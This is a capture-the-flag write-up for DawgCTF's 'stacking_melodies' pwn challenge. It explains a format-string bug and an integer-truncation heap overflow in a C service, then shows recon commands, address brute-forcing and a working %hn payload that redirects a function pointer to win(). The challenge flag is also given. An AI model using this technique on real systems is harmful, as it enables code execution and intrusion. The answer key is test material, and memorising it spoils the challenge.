stacking_melodies
Challenge
Imported from local notes.md.
Solution
Original Notes
stacking_melodies
Challenge Summary
- Given: C source (Stacking_melodies.c) for a binary music-rating service at nc.umbccd.net:8929
- Goal: Exploit binary vulnerabilities to read flag.txt on the remote server
- Constraints: Binary compiled with
gcc -no-pie -g, Partial RELRO, No canary, No PIE, ASLR disabled on remote
Initial Recon / Triage
- Observations: Binary protocol with 12-byte header (magic 0x564d576e + t_len + d_len), title field, data field
- Two vulnerabilities identified:
- Format string:
printf(title)at line 82 — title is user-controlled - Heap overflow:
validate_size()integer truncation (size_t→int cast) allows bypass of 2048-byte limit;stream_size = d_len + 0x40can wrap to 0
- Format string:
win()function reads and prints flag.txt, then calls exit(0)setvbuf(stdout, NULL, _IONBF, 0)in main() ensures unbuffered output
Hypotheses & Approach
- Hypothesis 1: Heap overflow to overwrite ctx->server_logging function pointer → call win()
- Hypothesis 2: Format string %hn write to overwrite ctx->server_logging → call win()
- Winning approach: Format string single %hn write to ctx struct on heap
Execution Steps (Reproducible)
Stage 1 — Local compilation and analysis
cd artifacts && gcc -no-pie -g ../starting_files/Stacking_melodies.c -o stacking_melodies_local
checksec --file=stacking_melodies_local # Partial RELRO, No canary, No PIE
objdump -R stacking_melodies_local # GOT layout: free@0x404000, putchar@0x404008, etc.
- Local addresses: log_event=0x4011d6, win=0x401234
Stage 2 — Remote reconnaissance via format string
# Probe stack with %p at positions 1-80
python3 -c "..." | nc nc.umbccd.net 8929
- Key findings: ASLR disabled (addresses consistent across connections)
- Remote log_event leaked via %9$s: bytes e6 11 40 → 0x4011e6
- Position 9 = ctx pointer (confirmed), Position 10 = stream_buf, Position 12 = title
- Remote return address %15$p = 0x4014bb (vs local 0x401497) — code offset differs by 0x24
Stage 3 — Format string exploit to overwrite ctx->server_logging
# Exploit format string: %11$<N>c%9$hn
# Position 11 (stream_size=0x40='@') used for padding character
# Position 9 (ctx pointer) used as %hn write target
# Writing to *ctx overwrites ctx->server_logging (first struct field)
- Sanity check: writing 0x11e6 (original log_event) → normal [Rating] output ✓
- Scanning addresses 0x1224–0x1270 found flag output at 0x124e and 0x1252
- Remote win() = 0x40124e (different from assumed 0x401244 due to different gcc compilation)
Final exploit payload
import struct
MAGIC = 0x564d576e
title = b"%11$4686c%9$hn" # 4686 = 0x124e (remote win)
hdr = struct.pack('<III', MAGIC, len(title), 0)
# Send hdr + title to nc.umbccd.net:8929
Key Insights
- glibc caches positional args for %n writes — pointer chain technique does NOT work (writes use pre-cached values)
- Single %hn write to heap (ctx struct) bypasses this limitation entirely
- Remote binary compiled with different gcc version → function offsets differ from local by non-constant amount
- Address scanning (brute-force nearby addresses) was necessary to find exact remote win()
Artifacts Produced
artifacts/stacking_melodies_local— locally compiled binaryartifacts/exploit.py— format string exploit scriptartifacts/local_flag_test/— local test directory with flag.txt
Flag
DawgCTF{A_H34ping_helping}